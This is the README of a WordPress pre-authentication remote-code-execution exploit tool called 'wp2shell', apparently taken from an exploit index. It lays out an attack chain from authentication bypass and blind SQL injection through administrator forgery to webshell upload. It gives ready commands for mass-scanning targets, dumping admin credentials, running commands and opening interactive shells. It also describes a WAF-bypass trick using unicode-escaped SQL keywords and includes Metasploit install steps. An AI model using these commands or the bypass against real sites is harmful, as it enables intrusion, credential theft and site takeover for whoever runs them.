## https://sploitus.com/exploit?id=497286E1-C7A5-56E6-945B-5EA4822F5C75
```
___ __ ____
_ _____ |__ \ ___/ /_ ___ / / /
| | /| / / _ \ __/ // __/ __ \/ _ \/ / /
| |/ |/ / __// __//_ / / / / __/ / /
|__/|__/\___//____//__/_/ /_/\___/_/_/
WordPress Pre-Auth RCE — CVE-2026-63030 + CVE-2026-60137
by Venexy (M4xSec)
```
[](https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases)
[](LICENSE)
[](go-scanner/)
[](wp2shell.py)
[](metasploit-modules/)
Unauthenticated Remote Code Execution on **WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1**. Patched in 6.8.6, 6.9.5, 7.0.2.
## Quick Install
```bash
# Pre-compiled binary (fastest)
curl -sL https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases/download/v1.0.0/wp2shell-linux-amd64 -o wp2shell && chmod +x wp2shell
# Or build from source
go build -o wp2shell go-scanner/wp2shell-master.go
# Or use Python (no dependencies)
python3 wp2shell.py --help
```
## Attack Chain
1. Route confusion via nested batch requests with invalid primer path bypasses authentication
2. Time-based blind SQLi extracts table prefix, admin ID, and credentials
3. UNION-based row forgery seeds oEmbed caches (read-only SQLi → DB writes)
4. Changeset elevation + re-entrant `parse_request()` forges an administrator
5. Plugin upload deploys a self-cleaning webshell
6. Command execution and automatic cleanup
## Tools
### Go Scanner (`go-scanner/wp2shell-master.go`)
All-in-one binary — scan, check, read, exploit, interactive shell.
```bash
go build -o wp2shell-master go-scanner/wp2shell-master.go
# Mass scan
./wp2shell-master scan -f targets.txt -j -t 20
# Confirm SQLi
./wp2shell-master check https://target.com --waf --delay 3.0
# Extract admin creds
./wp2shell-master read https://target.com --preset users
# Pre-auth RCE (no password needed)
./wp2shell-master rce https://target.com --cmd id -y --waf --stealth
# Interactive shell
./wp2shell-master rce https://target.com -i -y
```
### Python Scanner (`wp2shell.py`)
Stdlib-only Python 3. Same capabilities as the Go version.
```bash
# Scan
python3 wp2shell.py --scan host1.com host2.com -f hosts.txt -j
# Confirm SQLi
python3 wp2shell.py --check http://target.com
# Extract data
python3 wp2shell.py --read http://target.com --preset users
python3 wp2shell.py --read http://target.com --expr "@@version"
# Pre-auth RCE
python3 wp2shell.py --rce http://target.com --cmd id --authorized -y
# Interactive shell
python3 wp2shell.py --rce http://target.com -i --authorized -y
```
### WAF Bypass Tools (`waf-bypass/`)
Standalone scripts for Cloudflare/ModSecurity bypass via JSON unicode escaping of SQL keywords.
- `core.py` — Shared blind SQLi engine with WAF bypass
- `dump_version.py` — Extract `@@version`
- `dump_dbname.py` — Extract `DATABASE()`
- `dump_tables.py` — Enumerate tables
- `dump_columns.py` — Enumerate columns
- `rce_shell.py` — Full RCE chain with WAF bypass
### Metasploit Modules (`metasploit-modules/`)
- `wp2shell_rce.rb` — Full RCE exploit module ([PR #21760](https://github.com/rapid7/metasploit-framework/pull/21760))
- `wp2shell_scanner.rb` — Non-destructive scanner ([PR #21761](https://github.com/rapid7/metasploit-framework/pull/21761))
Install locally:
```bash
mkdir -p ~/.msf4/modules/exploits/multi/http
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp metasploit-modules/wp2shell_rce.rb ~/.msf4/modules/exploits/multi/http/wp_wordpress_batch_rce.rb
cp metasploit-modules/wp2shell_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb
```
## WAF Bypass Technique
The Cloudflare WAF inspects raw JSON bytes but does not decode `\uXXXX` escape sequences before pattern matching. WordPress's PHP `json_decode()` transparently decodes them.
- `SLEEP` → `SLEEP` — bypasses keyword detection
- Colon primer (`:` instead of `http://:`) — shorter, avoids URI pattern rules
- `/wp-json/batch/v1` permalink path — avoids `?rest_route=` blocking
- `Origin` + `Referer` headers from target domain — satisfies CORS/same-origin checks
## Docker Lab
### No-WAF Lab (port 8888)
```bash
cd lab
docker compose up -d --build
# WordPress 6.9.0 at http://localhost:8888
# Admin: admin / Summer2026!
```
### WAF Lab (port 9999)
ModSecurity CRS (OWASP) with Cloudflare-style rules — unicode bypass confirmed.
```bash
cd lab/waf
docker compose up -d --build
# WordPress behind WAF at http://localhost:9999
```
## Disclaimer
This tool is for **authorized security testing only**. Only use against systems you own or have explicit written permission to test. Unauthorized access is illegal.
## License
MIT